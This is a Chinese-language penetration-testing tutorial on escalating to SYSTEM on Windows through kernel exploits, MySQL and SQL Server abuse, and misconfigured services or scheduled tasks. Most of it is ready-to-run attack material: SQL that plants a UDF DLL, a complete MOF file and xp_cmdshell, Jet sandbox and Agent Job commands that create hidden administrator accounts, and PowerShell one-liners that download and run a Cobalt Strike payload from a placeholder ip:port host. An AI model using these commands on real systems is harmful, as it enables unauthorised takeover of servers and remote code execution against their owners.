Windows提权总结(1)——数据库与系统漏洞
在内网渗透中,由于系统对服务的权限设置,攻击者不一定能通过外网服务直接获取系统的最高权限,假如我们拿到的只是普通权限,在后续进行横向移动的行动中会比较艰难,所以我们需要通过一定手段让自己的权限提升为系统最高权限,进一步扩大攻击效果。Windows系统提权常见手段有内核漏洞提权、数据库提权、绕过UAC提权等等。本文针对Windows常见的提权方法进行总结,文章不足之处还请各位指正。
0x01 内核漏洞提权
Github上windows系统溢出漏洞提权的汇总:
https://github.com/SecWiki/windows-kernel-exploits
内核漏洞检测工具——
Windows-Exploit-Suggester
其主要功能是通过比对systeminfo生成的文件,比对KB编号,从而发现系统是否存在未修复漏洞。
https://github.com/AonCyberLabs/Windows-Exploit-Suggester
使用:
更新数据库
python2 ./windows-exploit-suggester.py --update
安装依赖
xlrd
python2 -m pip install xlrd --upgrade
这里要注意,最近
xlrd
更新到了2.0.1版本,只支持.xls文件,与我们生成的数据库xlsx文件有冲突。
所以安装旧版
xlrd
:
python2 -m pip uninstall xlrd python2 -m pip install xlrd==1.2.0
将利用的Windows机的SystemInfo打印到1.txt,执行以下命令
python2 ./windows-exploit-suggester.py --database ./2021-12-09-mssb.xls --systeminfo ./1.txt
利用给出的链接下载POC并提权
0x02 数据库提权
2.1 MYSQL提权
2.1.1 UDF提权
UDF (user defined function)
,即用户自定义函数。通过添加类似于命令执行的新函数,执行任意命令
提权条件
:
有mysql的root权限以及secure_file_priv的值为空
mysql5.1以上有写lib/plugin目录权限
提权原理
:利用了root 高权限,创建带有调用cmd的函数的udf.dll动态链接库
Step1:
查看
secure_file_priv
的值
show global variables like 'secure%';
如果
secure_file_priv
的值为
NULL
,则无法导入文件,也就无法提权。
secure_file_priv
的值不能通过
set
改变,需要在mysql配置文件
my.ini
中添加/修改
secure_file_priv=''
如果
secure_file_priv
没有具体的值,则可以写入导出文件。
导入/导出成功
Step2:
查看
plugin
的值
select Host,user,plugin from mysql.user where user = substring_index(user(),'@',1);
当
plugin
值为 mysql_native_password 时可通过账户连接提权
Step3:
查看系统架构以及
plugin
目录
show variables like '%compile%'; #查看主机版本及架构 show variables like 'plugin%'; #查看 plugin 目录
64位
E:\phpStudy_64\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\
看架构的原因是要确定
udf
用64位还是32位的
MSF的
udf
:
cd /usr/share/metasploit-framework/data/exploits/mysql/
将对应的dll下载
Step4:
将
dll
文件写入plugin目录,并且创建函数(如果没有"./mysql/lib/plugin/"这个目录,需要自行创建)
将整个DLL文件以十六进制编码后写入磁盘。
select 'It is dll' into dumpfile 'E:\\phpStudy_64\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib::$INDEX_ALLOCATION'; select 'It is dll' into dumpfile 'E:\\phpStudy_64\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin::$INDEX_ALLOCATION';(写目录,其实大部分时候是没有写权限的) select hex(load_file('E:\\files\\udf\\udf64.dll')) into dumpfile '.\udf.hex'; select [十六进制值] into dumpfile "E:\\phpStudy_64\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin\\udf64.dll";
创建命令执行函数
create function sys_exec returns int soname 'udf64.dll'; create function sys_eval returns int soname 'udf64.dll'; create function sys_get returns int soname 'udf64.dll';
结果如下
添加管理员组用户
我们也可以直接传UDF木马
连接数据库后,可以快速提权
2.1.2 MOF提权
提权条件
:
有mysql的root权限以及secure_file_priv的值为空
提权原理
:在windows平台下,
c:/windows/system32/wbem/mof/nullevt.mof
这个文件会每间隔一段时间(很短暂)就会以system权限执行一次,所以,只要我们将我们先要做的事通过代码存储到这个mof文件中,就可以实现权限提升。
启动项提权:将后面脚本上传到系统启动目录,当服务器重启就会自动执行该脚本,从而获取系统权限。
test.mof
文件代码如下:
#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2" ; Name = "filtP2" ; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5" ; QueryLanguage = "WQL" ; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2" ; ScriptingEngine = "JScript" ; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")" ; }; instance of __FilterToConsumerBinding { Consumer = $Consumer ; Filter = $EventFilter ; };
此代码的含义是添加一条命令去执行,在admin用户组添加admin用户
执行:
select load_file(“C:/test.mof”) into dumpfile “c:/windows/system32/wbem/mof/nullevt.mof”
成功执行
2.1.3 启动项提权
提权条件
:
有mysql的root权限以及secure_file_priv的值为空
提权原理
:将脚本文件添加到系统启动项目录命令执行
将代码保存保存成 add_user.bat文件
@echo net user dodo dodo /add
导入至系统启动项目录
select load_file(’C:add_user.bat’) into dumpfile ‘该系统的启动项目录’;
2.2 SQL Server提权
提权原理
:
SQL Server的
存储过程
是一个可编程函数,它为数据库提供了强大的功能,但在相应的权限下,攻击者可以利用不同的存储过程执行不同的高级功能,如:创建数据库用户、枚举文件目录、执行任意系统命令等。
存储过程
分为系统存储过程、扩展存储过程、用户自定义的存储过程:
系统存储过程主要存储在
master
数据库中,以 "sp_" 为前缀,在任何数据库中都可以调用,在调用的时候不必在存储过程前加上数据库名;
扩展存储过程则是对 DLL 函数的调用,主要是用于客户端与服务器端或客户端之间进行通信的,以 "xp_" 为前缀,使用方法与系统存储过程类似;
用户定义的存储过程是 SQL Server 的使用者编写的存储过程;
查看数据库中是否有对应的存储过程:
select count (*) from master.dbo.sysobjects where xtype='x' and name ='sp_oacreate' ;
若返回结果为
1
,则说明已开启
2.2.1 XP_CMDSHELL提权
xp_cmdshell
就是其中一个扩展存储过程
提权条件
:
开启xp_cmdshell
EXEC master..sp_configure 'show advanced options', 1;RECONFIGURE; EXEC master..sp_configure 'xp_cmdshell', 1;RECONFIGURE;
关闭xp_cmdshell只需把
xp_cmdshell
的值设为0即可
EXEC master..sp_configure 'xp_cmdshell', 0;RECONFIGURE;
执行命令提权
Exec master.dbo.xp_cmdshell 'whoami'; Exec master.dbo.xp_cmdshell "net user 0xL4k1d 0xL4k1d /add"; Exec master.dbo.xp_cmdshell "net localgroup administrators 0xL4k1d /add";
2.2.2 SP_OACREATE提权
在xp_cmdshell被删除或者出错情况下,可以充分利用SP_OACreate进行提权
提权条件
:
开启SP_OACREATE
EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'show advanced options', 0;
执行系统命令CS上线
执行时无回显
DECLARE@shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD@shell,'run',null, '%systemroot%\system32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''http://ip:port/a''))"'--
2.2.3 沙盒提权
提权条件
:
这种提权是利用access的沙盒机制,关闭沙盒之后执行代码。
关闭沙盒模式
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
“
沙盒模式SandBoxMode参数含义(默认是2)
0:在任何所有者中禁止启用安全模式
1 :为仅在允许范围内
2 :必须在access模式下
3:完全开启
执行命令提权
select * from OpenRowSet('Microsoft.Jet.OLEDB.4.0' ,';Database=c:\windows\system32\ias\ias.mdb' ,'select shell("net user 0xL4k1d 0xL4k1d /add&net localgroup administrators 0xL4k1d /add")' );
注:在SQL Server 2005中默认禁用
Ad Hoc Distributed
,不开启执行命令会报错。
Exec sp_configure 'show advanced options',1; RECONFIGURE; Exec sp_configure ' Ad Hoc Distributed Queries',1; RECONFIGURE;
2.2.4 AGENT JOB提权
提权条件
:
提权原理
:
创建一个任务x,并执行命令(无回显),结果写到一个文档中
首先需要启动 SQL Server AGENT 服务
exec master.dbo.xp_servicecontrol 'start ',' SQLSERVERAGENT'
创建任务并执行命令
use msdb exec dbo.sp_delete_job null ,'x' exec sp_add_job 'x' exec sp_add_jobstep null ,'x' ,null ,'1' ,'cmdexec' ,'cmd /c "net user 0xL4k1d 0xL4k1d /add &net localgroup administrators 0xL4k1d /add>c:/q.txt"' exec dbo.sp_add_jobserver null ,'x' ,@@servername exec dbo.sp_start_job 'x' ;
CS上线
use msdb; exec dbo.sp_add_job @job_name = N'test_powershell_job1' ; exec sp_add_jobstep @job_name = N'test_powershell_job1', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''http://ip:port/a''))"', @retry_attempts = 1, @retry_interval = 5 ; exec dbo.sp_add_jobserver @job_name = N'test_powershell_job1'; exec dbo.sp_start_job N'test_powershell_job1';
0x03 系统权限配置错误提权
系统权限配置错误,导致低权限用户对高权限运行的文件拥有写入权限,那么低权限用户就可以替换成恶意后门文件,获取系统权限。
3.1 系统服务权限配置错误
一般在启动项、计划任务中会伴随着一些高权服务,若某些服务存在一些漏洞,那么就能够借此服务进行提权和权维
如果有可以完全控制的服务,我们可以将该服务的
BINARY_PATH_NAME
修改成任何命令或者后门进行提权
以下工具可以自动化检测利用:
Powershell中的PowerUp脚本
https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
MSF的service_permissions(需要普通session)
use exploit/windows/local/service_permissions
3.2 计划任务提权
如果高权限计划任务的目录具有写权限,就可以把目标程序替换成我们的恶意程序进行提权
查询计划任务
schtasks /query /fo LIST /v
查看权限配置
accesschk.exe -dqv "D:\test" -accepteula
时间一到自动执行,就能高权限上线了
3
.2 可信任服务路径漏洞
如果一个服务的可执行文件的路径没有被双引号引起来且包含空格,那么这个服务就是有漏洞的